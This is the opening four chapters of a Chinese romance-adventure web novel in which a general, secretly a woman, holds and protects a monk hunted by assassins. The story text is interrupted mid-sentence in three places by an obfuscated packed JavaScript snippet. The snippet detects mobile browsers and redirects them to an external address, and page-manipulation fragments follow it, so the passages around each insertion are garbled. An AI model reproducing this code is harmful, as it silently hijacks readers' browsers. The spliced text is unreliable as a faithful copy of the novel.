《强夺高岭之花后联手复仇》 1. 第一章 景和二十三年隆冬，应如是率领应家军进入堰安城。至此，北商国与南庆国数十载的边境之争，以南庆国战败告终。 因南庆守城将士弃城、屠城，城中火光映天、尸横遍野，宛如人间炼狱。 纵使应如是行军十余载，依旧对眼前之景无比心寒，她当即下令：“赵副将带人救火，刘副将负责救助伤民，务必赶在天黑前完成一切事宜！” 训练有素的士兵迅速行动起来，很快城内大火被扑灭，伤者皆被送去医馆救治。 应家军所经之处百姓皆俯首跪地，无不称赞其为一支仁义之师。 应如是巡城一周将要回营，却听到城墙下传来呼救声，于是策马而去，见一群山匪在为难几个老弱妇孺和僧人。 她手起刀落，迅速将流寇斩杀殆尽，扶起一个妇人问道：“没事吧？” 妇人刚要回答，怀中的孩子却突然哭闹起来。应如是意识到什么后转过头去，孩子果然止住了哭声。 这也难怪，她的脸上戴着一个凶煞的傩面具。 一支箭破空而来，应如是挥刀斩下，然而随之而来的箭羽便如一张弥天巨网撒下。 正是危急之时，副将刘舞起赶来相助，二人联手才不致伤亡惨重。 应如是检查十余具敌寇尸首，发现这些人虽扮作普通百姓，但手掌关节处皆遍布老茧。 再加上箭矢上有南庆军队特有标识，很明显，这些人都是南庆士兵。 照理说南庆士兵早已撤退，怎会假扮百姓留在城中行事？ 应如是正是百思不得其解之时，眼前寒光一闪，一柄飞刀擦过耳边，朝着前方一个穿褐色袈裟的僧人而去。 竟然还有漏网之鱼！ 她一个箭步飞身上前，终于在距僧人身前一寸处将飞刀打落。 僧人听到动静后回身一看，二人四目相对—— 一个脸上戴着凶神恶煞的修罗面具，看上去像是来自地狱的恶鬼；一个是人间至善至诚的佛陀，仿佛可以渡尽世间一切苦厄。 不知为何，应如是一向平和的心蓦然剧烈地跳动起来。 这是怎样的一个人啊！眉分八彩，目若朗星，身若修竹，眉宇间含着悲悯，让人联想到云间月、万仞雪，清冷而孤寂。 潜藏在暗处的杀手再次出手，从两个方向上同时祭出两柄飞刀。 一柄目标是僧人，另一柄则是冲着应如是而来。 应如是推开僧人避开一击，但僧人却忽然转身挡在她的身前。 飞刀刺入他的后背，应如是眼睁睁看着他的嘴角溢出一丝鲜血，而后倒在自己身上。 “明心师兄！”一个青衣小僧失声喊道。 面对失去意识的明心，一向镇定的应如是忽然变得手足无措。好在刘舞起从旁提醒，她这才抱起昏迷的明心朝军营而去。 明心伤势不重，只是刀上淬了毒，需要静养一段时间。 刘舞起守在帐外，见应如是出帐后将情况汇报：“一共两人，被发现时已经服毒自尽。” “与射箭的是一伙吗？”应如是问道。 “不太像，这两人是江湖人士。”刘舞起回道。 应如是沉吟片刻后说道：“他们的目的不简单……吩咐下去，仔细搜查城中各个角落，如遇可疑人士，当场抓捕。” 然而，士兵们搜遍全城却是一无所获，这件事只好暂且搁置下来。 明心醒来已是三日后的清晨，第一眼便见到坐于案前以手支额闭目小憩的少年将军—— 纵横交错的疤痕宛如盘虬的枝节遍布他的整张面孔，看上去狰狞可怖。也不知道梦到了什么，他的眉头一直紧蹙。 明心想要起身却不小心扯到后背的伤，剧烈的疼痛让他倒吸了一口气。 这一细微的声响让应如是瞬间清醒，下一刻手边的佩刀便已出鞘，等她意识到在营帐后，又淡定地将刀收回。 明心像是丝毫未察觉到一般，将衣物穿戴整齐后双手合十道：“多谢施主相救之恩。” 应如是摆手道：“是你救了本将军。” “贫僧就此别过。”说完，他便向帐外走去。 “可是你的伤还未痊愈。”应如是有意阻止却不知该如何开口。 这时，刘舞起刚好进入营帐，与明心打了个照面。 她敏锐地感知到了什么，拦下明心道：“如今城中刺杀一事尚未明朗，还请明心师父暂时待在军营里配合调查。” 明心稍作犹豫后应允：“既是如此，那贫僧便在此滞留几日。烦请将军给贫僧安排一个住处。” 这几天他一直住在主帐中，实为不妥。 “这好办，来人！”应如是立即唤来手下引明心至新帐中。 等明心离开后，刘舞起目光灼灼地看向应如是问道：“将军可有什么话想与我说？” 刘舞起是应如是同期的军中好友，她们表面上是上下级关系，私底下却是好姐妹。 “说什么？”应如是看向别处，有些心不在焉。 “说说你与那和尚的关系。”刘舞起一句话便戳破她拙劣的伪装。 “我和他能有什么关系？”应如是表面平静，心里却掀起了巨浪。 刘舞起调侃道：“不知道这几天我们将军魂不守舍地为了谁，又衣不解带地在照顾谁？” “他为我挡了一刀，这么做不是应该的吗？” “既如此，那我现在就让那和尚离开军营。”刘舞起作势要出帐。 “倒也不必如此着急……”被刘舞起玩味的眼神看得浑身不自在，应如是只好勉强承认，“我对他确是有些不同。” “那是你春心萌动了。”刘舞起一脸了然。 应如是：“……” “这么多年来第一次见你活得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154671|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像个人。”刘舞起由衷感慨道，“放心，我会助你一臂之力的。” “看来我最近是太纵容你了……” “忽然想起赵副将那边应该需要我的帮助，先告退了。”刘舞起见形势不对立马遁走。 堰安城破后，为不打扰城中百姓的日常生活，应家军并未入城，而是驻扎在城外二十里的鹿鸣山下。 营寨占地数十亩，平原广泽，视线开阔。 营外有羊马壕沟，火盆若干；营门两侧设箭塔，可见吊桥、栅门；寨墙高筑，圆木围之，寨内十步一哨、百步一楼，有营帐百余。 明心在军营中静养了半月有余，身上的伤终于痊愈。 帐外传来擂鼓呐喊之声，这是应家军每日操练开始了。 他掀开帘帐，朝着演武场方向而去。 正是夕阳西下，广袤大地一片苍茫。 大军引绳棋布，绵延十里，气势磅礴。他们个个持枪鹄立，眼神坚毅，无所畏惧。 应如是一身戎装站在高台之上，挥动着手中的令旗，队伍在她的指令下变换各种阵型。 他的目光逐渐被暮色中挺立的身影所吸引，手里的串珠不知从何时开始停止了转动。 “是不是被我们家将军的飒爽英姿迷住了？”刘舞起突然现身揶揄道。 明心垂眸，双手合十道了声“阿弥陀佛”后转身离去，留下刘舞起一脸错愕地站在原地。 军队操练完已是夜幕降临，营地各处都点上了篝火，冒起了炊烟。 明心一个人待在帐中心无旁骛地默诵着经文，外面的喧嚣声全然与他无关。 这些天他多次向将军辞行，但总被各种理由拒绝。 就算再迟钝的人也意识到这是变相的软禁，虽不知为何如此，但向来淡然的他自是泰然处之。 帐外，应如是看着篝火出了神，瓷盘中的烤肉分毫未动。 喝得微醺的刘舞起搭上她的肩膀，笑问道：“又在想那个和尚？” “或许是时候放他离开了。”应如是喃喃道。 刘舞起不以为然地说道：“你舍得让他离开？” 应如是叹了口气：“不舍又能如何？他完全不为所动。” “就凭你每天在帐外看他几眼以及给他送一些吃食，就想虏获他的‘芳心’？”刘舞起嫌弃地瞥了她一眼，“我的好将军，你是在玩什么孩童把戏吗？” 应如是被问得哑口无言，只好眼巴巴地看着她：“还请赐教。” “依我看，这男女之爱犹如行军打仗，强攻智取皆可。但以你的资质，还是强攻为上。” 她的话听来倒是有几分道理，应如是附耳过去：“愿闻其详。” “你可以如此……” 应如是听完后若有所悟地点了点头。 于是，在场士兵一脸惊讶地看着自家将军一本正经地烤起了羊腿。 2. 第二章 应如是端起盛着羊腿的瓷盘进入营帐，见明心阖眸打坐，仿佛老僧入定。 “这是刚炙的羊腿，趁热吃点。”应如是将瓷盘端到他面前。 烤肉的香味瞬间萦绕在他鼻尖，明心微蹙了眉，撇过脸去：“阿弥陀佛。出家人不沾荤腥，不得非时食。” “这里是军营，不是寺庙，入乡随裕懂不懂？” 明心向后挪动了一些，抗拒道：“施主请自重。” 应如是脸上流露出失望神色，她几乎就要放弃了，但随后又想起刘舞起的话： “强攻就是要你抛开一切顾虑，以自己的想法为主，不管使用什么手段，达成让他臣服的目的。简言之，就是以你在战场杀敌那般气势去压制他。” 于是，她神色一变，扣住明心的下巴，迫使他看向自己。 二人距离极近，呼吸可闻，应如是似乎在他脸上看到一瞬间的迷茫和慌乱。 这一细微变化让她心中窃喜，接着又生硬地说道：“你可知本将军的话就是军令，你只能服从。” 然而这次明心却面色无波地回道：“恕贫僧难以从命。” 应如是愣住了：他这是铁了心要与自己作对吗？ “违抗军令者，按照军规打四十军棍。”刘舞起人未至声先到，她在帐外偷听了许久，终于忍不住，决定亲自出马。 应如是急忙将她拉至一旁低语：“万一伤了他怎么办？” “无事，可以轻点打。”刘舞起打定主意，“你只管吩咐下去，接下来的事我来安排。” 见她依旧迟疑不决，刘舞起只好以言语相激：“现在的你可不像一个将军该有的样子。” “来人，将明心拖下去！”应如是狠下心来。 明心既不反抗也不辩驳，由着军士拖走。 很快，连续不断的棍棒声传入营帐中，一声声如同敲在应如是心上。 明心也是个硬骨头，直到刑罚结束，也未听到他发出任何声音。 应如是的焦虑不安渐渐变成心灰意冷，最后她端起瓷盘一声不吭地出了营帐。 外面的篝火将夜晚映照得恍若白昼，士兵们的狂欢还在继续，看上去好不热闹。 在这个由她举办的犒赏三军的庆功宴会上，唯独她自己失了兴致。 瓷盘中她亲自炙烤的羊腿早已冷却，被她随手扔进了篝火中。 她向刘舞起交代了几句后，便策马离开了营地。 在场士兵无人注意将军的动向，唯有一人的目光始终停留在应如是身上。看着她从开始的满脸欣喜到最后的愤然离去，脸色逐渐阴沉下来。 刘舞起继续喝酒吃肉，不时感叹道：“我们将军真是可怜，遇到这么一个人，以后的情路得有多坎坷啊！” 身旁的人听到她的话后好奇道：“将军这是怎么了？” 刘舞起回头一看，原来是赵副将，于是将事情的来龙去脉和盘托出。 赵随听完后骂道：“那秃驴到底哪里好了？” “或许图个新鲜？军营里一个个全是膀粗腰圆的糙汉子，难得瞧见个不一样的，自然会有不一样的感觉。”刘舞起醉醺醺地笑道。 “那也不至于看上一个和尚！”赵随立马反驳，许是觉得自己的情绪过于激动，他又默默补充了一句，“再说了，军营里也不全是糙汉子……” 应如是去鹿鸣山上吹了一夜的风，直到破晓时分才回到军营。 刘舞起贴心地给她盛了碗米粥：“你这是一夜未睡？” 应如是按着额角，一脸倦色：“他怎么样了？” “未伤及筋骨，已经让军医给他上过药了。” “记得派人给他送些吃食。” “我们将军可真是痴情，时刻都惦记着他。”刘舞起的话听来有几分讥讽。 此事过后，应如是连着几天没去见明心，本想等他休养好便放他离去，谁知中途又出了岔子。 这天，应如是正在帐中小憩，见刘舞起押着一个青衣小僧闯进来。 应如是被惊扰后语气不善：“若无要事汇报，必定重罚。” “你可知他是谁？”刘舞起问道。 应如是看着灰头土脸、眼神躲闪的小僧，似乎有些印象。 “他是明心的师弟，堰安城那天他也在场。”刘舞起解释道。 这么一说，应如是倒是想起来了，明心中刀之时他还喊了一声。 “他怎会在此？” “私闯军营，被我抓了个正着。” “罚他三十军棍赶出去便可，此等小事还需我亲自示下吗？”应如是不耐地开口道。 “真是个木头，你就不能想点别的？”刘舞起一脸无奈地说道，“这可是个难得的机会。” 见她依旧不开窍，刘舞起也不多解释，直接拽着她来到明心帐中。 进帐前，她嘱咐了一句：“接下来，你只需配合我行事。” 帐内，明心端坐不动，如同一座塑像。 几日不见，他似乎清瘦了不少，但看上去却越发清俊。 “听说你和师兄弟感情很好？”刘舞起看向明心道。 明心抬眸：“施主何意？” “有个叫静尘的小和尚，长得倒是乖巧听话，没想到也是胆大妄为。你说他干什么不好，非要擅闯军营？要是给他安一个敌国暗探的身份……” 刘舞起话未说完，二人皆是一脸惊讶。 明心第一次眼神凌厉地质问道：“你待如何？” 这一刻，他不再是那个心如止水的佛陀，而是一个有爱有恨的寻常人。 刘舞起暗中给应如是使了个眼色，而后便默默地退至一旁。 应如是知晓她的用意，传唤士兵带静尘入帐。 静尘跪伏在地瑟瑟发抖，一见明心便立马哭出来，像是受尽了折磨虐待。 事实上他并未受刑，脸上那些轻微的擦伤也是刚刚被拖进来时留下的。 “你为何要来此处？”明心无奈地问道。 “师兄，你好些天没回去，师弟们都很担心你，我偷跑出来想看你一眼，可还没进营就被抓住了……”静尘的模样委屈至极。 “叙完旧了吗？”应如是打断他的话。 静尘一边戒备地看着应如是，一边小心翼翼地向明心靠近。 应如是嘴角勾起笑容，挡住他的去路，居高临下地看着他：“现在给你两个选择，你是想被绞死，还是想被砍头？” 静尘的脸色瞬间惨白如纸，他嘴唇哆嗦了几下，吐不出来一个字。 “放了他。”明心不似平日里那般淡然自若，语气中透着一丝不容拒绝。 “你这可不是求人的态度。”应如是唇边的笑容更甚，仿佛胜券在握。 “什么条件？” “已经备好了，来人！”刘舞起一声令下，立即有人进出帐内端酒送菜。 桌案上的菜肴异常丰盛，有桃花肴肉、水晶白虾、流黄蟹……每一道都是色香味俱全的人间美味。 此外，还有一壶陈年梨花醉，是刘舞起特意去城中花重金买来的佳酿。 戏台已经搭好，就看台上的二人如何演绎了。 刘舞起对此颇为信心：这次将军定会如愿。 应如是在这一桌精心布置的酒席前坐下，亲自斟了一杯酒递到明心面前。 “师兄，你千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154672|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万不能喝！” 静尘起身扑过去，试图打翻这杯好酒，但却被刘舞起眼疾手快地按在了地上。 明心迟迟未接，眼前这杯酒让他陷入了回忆中： 杯中摇晃的琼浆曾经是他的最爱，他依稀记得这酒的味道—— 入口甘甜，带着一股淡淡的梨花香气，但随之而来的苦涩如同淡淡的晨雾弥漫在唇舌间，回味悠长，像极了盛世繁华后的落寞，让人神伤。 昔时，他看着满室寂寥的灯火，听着不知何处传来的靡靡之音，一个人吟诗饮醉到天亮。 他自负才情，武功也不弱，从不与人争短论长、逞凶斗狠。但因生来便被认作不祥，一直不被身边亲近之人所喜，父母弃之，兄弟远之。 他这一生活得凄惨，最后出家也是被逼无奈。 方丈曾对他说过：“一切有因果，万般皆是命。”现在想来，当初的选择却是最好的结果。 或许生来便有慧根，他记性、悟性极强，无论多难的佛经，都能很快记住并且参透。 所以，没多久就当上了吉源寺的首座，成为师兄弟们敬仰的对象。 日日聆听寺庙的晨钟暮鼓，心性也在不知不觉中发生了变化。不知从何时起，他不再执着于往日的恩怨情仇。 那些曾经无数次出现在他梦里的舞榭歌台、画栋雕梁，仿佛已是隔世的记忆而日渐模糊。 现在，他只想青灯古佛了此一生，谁也不能动摇他的佛心。 应如是一直举杯看着他，心里笃定他一定会喝下这杯酒，果然见他缓缓伸手。 静尘眼中盈满了泪水，他拼命挣扎着，无奈口鼻被捂，只能发出微弱的呜咽声。 然而，就在明心的手快要触碰到杯身的时候，突然方向一转，朝另一方向探去。 他的速度很快，目标也很明确，在其他人都还没有反应过来的时候，手上便多了一柄利刃。 刀握在明心手中，而应如是近在他眼前，只要他一挥，应如是很可能躲闪不及，非死即伤。 刘舞起反应很快，当下就松开静尘，朝应如是扑了过去。 但应如是反应更快，她扔下手中的酒杯，赤手接住了破空的利刃。 锋利的刀刃没入皮肉，甚至可以听到与指骨清脆的撞击声，随即钻心的疼痛传来，让她不由地皱了眉头。 鲜血顺着刀锋蜿蜒而下，与桌上的梨花醉混在一起，竟有几分甜腻的香气。 突如其来的变故让帐内陷入了一片死寂，随后像是炸开了锅，一片沸腾。 刘舞起迅速拨开利刃，将应如是带至一边；而明心被按在地上，和静尘四目相对。 令刘舞起惊讶的是，这刀的方向并不是朝着应如是。 她心中有一个想法刚要成形，便被应如是的吸气声夺走了全部思绪。 于是，她迅速撕下自己的衣角，绕着指节缠了一圈又一圈，直到看不到一丝血色沁出。 应如是看着她难得凝重的神色，立即吩咐下去：“将他们带下去，好生安置。” 而后，她便牵着一声不吭的刘舞起出了营帐。 二人走到无人角落，刘舞起再也无法忍受，大吼道：“你是怎么想的？为了一个和尚连手都不要了？” “他不能死。”应如是看着渗血的手，心中思忖：这一刀割得可真够深的，如果没有拦住，恐怕现在明心已经如愿见到佛祖了。 没想到，刘舞起忽然捂脸道：“都是我的错，当初就不应该给你出这些馊主意。” 她的声音听来有几分哽咽，这让应如是不知所措。 就在这时，一个士兵匆匆赶来汇报：“将军，不好了，出事了。” 3. 第三章 据士兵汇报，他们将明心、静尘带回帐内不久，赵随便面色不善地提剑赶来。 应如是暗叫不好：依赵随的性子，他是想杀了明心。 于是，她迅速赶到帐中，见赵随与几个士兵缠斗在一起，而明心和静尘站在角落，看上去并未大碍。 她松了口气，迅速加入战局，结束了这场闹剧。 赵随被应如是反手扣住，无法反抗，只能红着眼、梗着脖子以示不满。 “还打不打了？”应如是问道。 她虽然面色与平常无异，但熟知她脾性的人知道这是已经气急了。 “属下知错。”赵随立马偃旗息鼓。 应如是拉过一把椅子坐下，取药重新包扎再次迸裂的伤口。 赵随盯着她的手，眼中似有怒火燃烧—— 这些天他看着将军为一个和尚像是变了一个人，心里很不是滋味。更可恶的是，这个和尚竟然不识好歹，不但不领情，还让将军受了伤。 此人不杀难消心头之恨！ 应如是见他这般神情，猜到他心中所想，下令道：“赵副将寻衅滋事，罚三十军棍以示惩戒。刘副将，安排人手明天护送明心静尘出营。” 翌日清晨，士兵们护送一辆马车出了军营。 马车是应如是特意让人安排的，因为回堰安城的途中需要经过一段山路。 马车上，静尘依旧不敢相信自己安然无恙地出了军营。 “师兄，听说这应家军残忍凶暴、杀戮成性，这次怎会如此轻易地放过我们？” “不可妄言。”明心训道。 外面驾马驱车的士兵听到后不禁辩驳道：“小和尚，你这话说得可就不对了。自古上战场的哪个不是杀人如麻？难不成让你们这帮和尚去打嘴仗吗？” 静尘不以为意，只觉得和他说话有辱自身。 马车行至山中，忽然一个剧烈的晃动停了下来。 明心掀起车帘问道：“发生何事？” 士兵下车检查，一眼便瞧见车轱辘被什么东西卡住了，他将要挪开障碍物，一支利箭穿过他的脖子，将他钉在了车身上。 鲜血溅上车窗，浓重的血腥味弥散开来。 静尘傻眼了，还没反应过来便听有人喊道：“有埋伏！” 紧接着，又是一支箭穿过车窗，擦着他的脸颊而过。 “快下车。”明心拉着已经呆滞的师弟跳下车，四处躲避流矢。 草丛中蹿出十几个蒙面黑衣人，个个持刀持剑，将人团团围住。 经历过刚才那一波箭雨，士兵已经所剩无几，但他们依然将明心二人护在中间。 “听着，我们马上开出一条道，你们趁乱逃跑，速度要快。”其中一人交代道。 话音刚落，所有士兵集体冲向一个方向，与黑衣浴血厮杀，甚至不惜以身体阻挡兵刃。 明心带着静尘冲出包围圈，二人夺命奔逃，但黑衣人并未打算放过他们，一路紧随其后。 静尘边跑边哭：“他们为了我们都死了。” 明心心中凄然的同时也认清了一个事实：从堰安城的刺杀开始，这些人的目标一直都是自己。 于是他停下脚步对静尘说：“师弟，你先走，他们是冲我来的。” “可是师兄，我怎么能丢下你不管？”静尘显然不肯独自逃生。 眼看黑衣人越来越近，明心不得不狠下心来，连推带搡地吼道：“你留在这里毫无用处，只会白白送死，你知不知道？” 静尘眨着朦胧的泪眼，还没来得及回答，突然脸色一变：“小心！” 他用力推开明心，明心身形不稳，向一侧倒去，与此同时一支箭插进了静尘的心口。 一切发生得太快，明心无力挽救，只能眼睁睁看到静尘倒在地上奄奄一息。 他轻柔地抱起静尘，颤抖的手不停地为他擦拭口中喷出的鲜血。 “静尘，你坚持一下，师兄给你找大夫。” “是师兄不好，不应该赶你走，你原谅师兄，不要睡过去好不好？” 他慌乱得有些语无伦次，怀中的躯体在逐渐变冷。 静尘咳了几声，艰难地说了一句“师兄，你赶紧走”后便合上双目含泪离世。 无法抑制的悲恸如同山间骤起的狂风，在心头呼啸而过。明心狠狠攥起拳头，指甲嵌入掌心溢出血也不觉得疼。 杂乱的脚步声近在耳边，他拔出插入静尘心口的箭缓缓站起，眸中似沾染了一些猩红的血色。 就在刀剑即将砍向他之时，不远处忽然响起一阵马鸣声，戴着傩面具的将军策马冲了过来。 其实，应如是本想一路暗中护送，无奈被刘舞起发现并阻拦多时，这才姗姗来迟。 看着明心一身孤寂地面对刀光剑影，应如是心中五味杂陈。 她迅速将黑衣人解决后问道：“你没事吧？” 明心闭了眼，再次睁开时已是一片清明，神色淡漠且疏离地回道：“多谢施主相救。” 他松开手中握断的箭矢，然后背起静尘的尸身，倔强地向前。 应如是见他如此，心中虽然气闷但更多却是怜惜：“你这么走要走到什么时候？” 明心像是没听到一般，依旧走自己的路。 半山腰处似有人影攒动，应如是察觉到了杀意，果不其然几柄飞刀出现，向着明心而去。 应如是早有准备，一个旋身瞬间击落所有飞刀。 看到地上的飞刀，明心脸色一沉，语气一变：“留活口。” 应如是唇角微弯，道了一声“好”后拾起地上的断箭射了出去。 只听一阵草木窸窣声，一个人坠了下来，应如是接住后扔在地上。 半山腰的动静更大了，应如是速度极快，几步上崖，在他们撤退前截住去路，斩断他们的生路。 被扔在地上的刺客肩膀处中了一箭，明心按住箭叫他动弹不得，而后质问道：“是谁派你们来的？” 应如是见追问了几遍都没有回应，意识到不对劲，于是扣住刺客的下颌迫使他张嘴，终于找到了原因：他的舌头被拔了。 “是死士。”应如是断言道，心中想着：从之前的城中刺杀到现在的半路截杀，这些人费尽心机想要明心的命，看来他的身份不简单。 明心依旧不依不饶地逼迫：“你写出来，写出来就放了你。” 没想到，刺客竟然听话地点了头，他伸出手指在他手背上划了四下，明心露出不可思议的神情。 刺客趁他失神迅速逃离，应如是忙去追赶，不料刺客竟又放出暗器。 “快躲开！”应如是大喊道。 明心反应不及，无奈之下她只能扑过去。飞刀擦过她的后背，留下一道伤口。 与此同时，巨大的冲力带倒明心，二人在地上滚了几圈，然后落下山崖。 明心从剧痛中醒来，发现自己落在溪涧边。 松软的泥土保住了他的命，但是崖边的碎石以及延伸出来的树枝还是让他吃了不少苦头—— 他浑身上下全是细碎的伤口，更严重的是，腿好像断了。 山下林草丰茂，氤氲的水汽模糊视线，恍若仙境。 不远处似有动静，听起来像是人的啜泣，又像是某种动物的乞怜声。 明心艰难地挪动过去，发现了昏迷的将军。 应如是陷入沉沉的梦境中，梦里光怪陆离的场景是她不忍回望的过去—— 她看见母亲一脸病容地躺在不见天日的房间里，流着泪对着年幼的自己说对不起。 看见父亲一脸欣喜地与一个身着华服的老者商讨，言语间多次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154673|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提及自己的名字。 看见自己揉着麻木的双腿跪在祠堂，一整天不吃不喝也无人问津。 看见被打得遍体鳞伤的自己一边上药，一边忍住不流一滴泪。 …… 明心看着将军露出这般脆弱的神情，一时间有些恍然。他推了几下，见将军没有丝毫反应，终于察觉到有异。 于是，明心摘下他的面具，探了他额头的温度后又检查他的身体，发现后背有一处伤口渗出黑血。 看来是中毒了。如果不把毒血逼出来，可能会性命不保。 明心没有迟疑，伸手解开将军的袍带，然而渐渐感到不对劲：纯白的里衣中竟然露出一截洁白的锦缎。 他后知后觉意识到是什么后瞬间红了脸，下一刻便手忙脚乱地为她盖上衣服。 如果没有看错的话，将军应该是个女人。 明心念叨了几声“非礼勿视”，又开始默念“罪过”，直到应如是痛苦的呻/吟声唤回他的思绪。 救还是不救？他陷入两难的境地。 最后，还是救人的念头占上风。于是，他解开自己的袍带蒙上双眼，然后摸索着掀开衣物。 应如是发了一夜的高烧，直到黎明时分才清醒过来。 一睁眼便看到明心穿着单薄的中衣倚树而眠，而他的外袍盖在自己身上。 她挣扎着起身，忽然想到什么，拉开衣领一看，发现肩膀处缠绕的布条后顿时慌了神。 他应该看到了吧？既如此，他便留不得了。 应如是一步步朝明心逼近，凝聚内力的掌心朝他面门挥去，堪堪停在一寸左右的距离。 “不行，他救了我。”应如是看着眼前毫无防备的睡颜，陷入犹豫中。 明心一醒来便看到应如是站在自己面前神色复杂。看来是没事了。他暗自松了口气。 “你都知道了。”应如是目光灼灼地盯着他。 明心脸上闪过一丝尴尬，但依旧镇定自若地解释道：“昨晚情况危急，贫僧只好出此下策。” “若你敢将此事透露出去，我必将你碎尸万段。”应如是难得语气森冷地说道。 “出家人不可妄言，昨夜之事施主大可以宽心。”明心应道。 这时，山崖上传来呼喊声，应如是发出一声嘹亮的哨音，上面立马有了回应。 “等上去后，我会再安排人手送你回寺，静尘的尸身也会一并送回去……”应如是安排道。 然而，沉默许久的明心忽然打断她的话语：“可否拜托将军一件事？” 得到应如是的默许后他又道：”可否让贫僧跟随将军？” “为何？”应如是讶异地看着他。 “那些人的目标是我。如今静尘已死，不能再让寺里的其他师兄弟受到伤害。”说这话时，他的眸中闪过一丝痛楚。 这一刻，应如是忽然感觉到他由内而外散发出浓烈的悲伤和自弃感，就像曾经的自己。 虽然他身上藏着许多秘密，而且还知道自己的不少秘密，是个需要就地正法的“危险人物”，但不知为何，应如是不忍拒绝他的请求。 “既然你替我保密，那我也帮你一次。”应如是叹息道。 既然杀不了他，那将他放在自己眼皮底下监视着。 明心道谢后捡起地上的面具递给应如是：“将军若是不想暴露，还是戴上吧。” 应如是一脸疑惑，但摸到脸后才明白他的用意——经过一夜水汽的滋润，脸上的“疤痕”消退了不少。 她急忙戴好面具，好在没被救援的士兵发现。 应如是上崖后安排人手收殓静尘的尸身，然后便和明心回营。 刘舞起守在营寨口有些焦急，她看到明心后非常惊讶，但并未说什么，而是转向应如是汇报：“宫里来人了。” 4. 第四章 应如是倒是不慌不忙，像是早已预料到一般，先让人将明心带去治伤，而后又换了身干净衣物，这才去面见传旨官。 传旨官早已等候多时，见应如是出现，立即宣旨道：“陛下口谕，闻破敌将军勇猛果敢、军略过人，仅两年之期收复燕荆十四城，特召回京，行册封嘉奖，以彰朕心。” 应如是叩谢君恩，接旨领命。 传旨人又道：“还请将军不要耽搁，尽快收拾行装，进京面圣。下官也要回京复旨了。” 应如是连声答应，派人相送传旨官。 传旨官走后，刘舞起再也忍不住了，严词质问道：“那和尚是怎么回事，你不是送他走了吗？” 应如是便将路遇刺杀、坠落山崖、身份被识破等经过，一五一十地道出。 刘舞起听后一言不发，神情是罕见的凝重。 “我去杀了他。”说罢，她已经提枪准备出帐。 “你冷静一点！”应如是挡在帐门口。 “你要我怎么冷静？他知道了你的秘密，今日不除，日后必成为心腹大患。”刘舞起显然下定了决心，无人能撼动她的想法，“既然你不忍心动手，那就让我来。” “先不说他救了我一条命，但既然我们之间有了约定，我自然要信守承诺，不能毁约。”应如是解释道。 “这些理由在你身份暴露面前根本不值一提！”刘舞起低吼道，“你改颜换姓这么多年，难道要为了一个男人前功尽弃吗？” “我与他之间只有交易，并无私情。还有，我相信他。”应如是看向她的眼睛认真地说道。 一句话瞬间让刘舞起失去了所有力气，她垂下头，神色不明。 她蓦然想起几年前的营州之战，那时与应如是被困城中数月有余，城中粮草将尽，士兵疲累不堪，军械也所剩无几，而城外南庆士兵的攻势丝毫不减，强撑下去无任何意义。 绝望的她刚想和应如是提议弃城，那时正发着高烧的应如是却握着她的手，虚弱地回道：“相信我，再等等，援军很快就会来的。” 不知为何，听她说完后内心瞬间安定了下来。 第二天夜里，赵随带着州府援军奇袭南庆军队，城中的守军见状，也重整旗鼓、殊死一搏。 最终，营州之困被解，同时歼灭七成以上的敌军。 事后，她也曾问过应如是为何当时如此笃定，记得应如是笑着反问道：“我有说过吗？” 见自己面色不悦，她又正色道：“其实我也说不上来，就是一种直觉。但唯一确定的是，我相信上天不会亡我，也相信你们，相信应家军。” 刘舞起态度有所松动，但依旧恶狠狠地放言道：“希望你能记住今天说的话，以后不管发生什么，切莫后悔。” 危机解决，应如是终于舒了一口气。 “就算将他放在身边，也不能掉以轻心，他的身份可不简单，之前城中刺杀与今日之袭，都是因为他。你说一个和尚，哪来这么多仇家，还都是要他命的？” 应如是摇头：“现在还一无所知，但可以肯定他对我们并无恶意，而且需要我们的庇护。” “说不定和你一样，也有别的身份。” 刘舞起状似无心的一句话却让应如是心念一动，想起之前城中伪装成百姓的南庆士兵，明心的身份可能也是非富即贵。 “这次进京你有何打算？我不在你身边，你可千万要当心。”刘舞起的担忧溢于言表。 应如是笑着说：“此次进京，可带十人左右的随从。” 刘舞起立马接道：“我要跟去！” “带些什么好呢？得选一把趁手的兵器，干粮也要多备些，此地距京少说也要一个月的路程……” 刘舞起开始忙活起来，没注意到一旁的应如是眸中闪过一抹狠戾之色，口中喃喃：“这一天，我等太久了。” 应如是伤得并不严重，后背的余毒已被清除干净，只要简单包扎一下即可，但是手上的伤却混着砂石碎屑，刘舞起花了好长时间才清理干净。 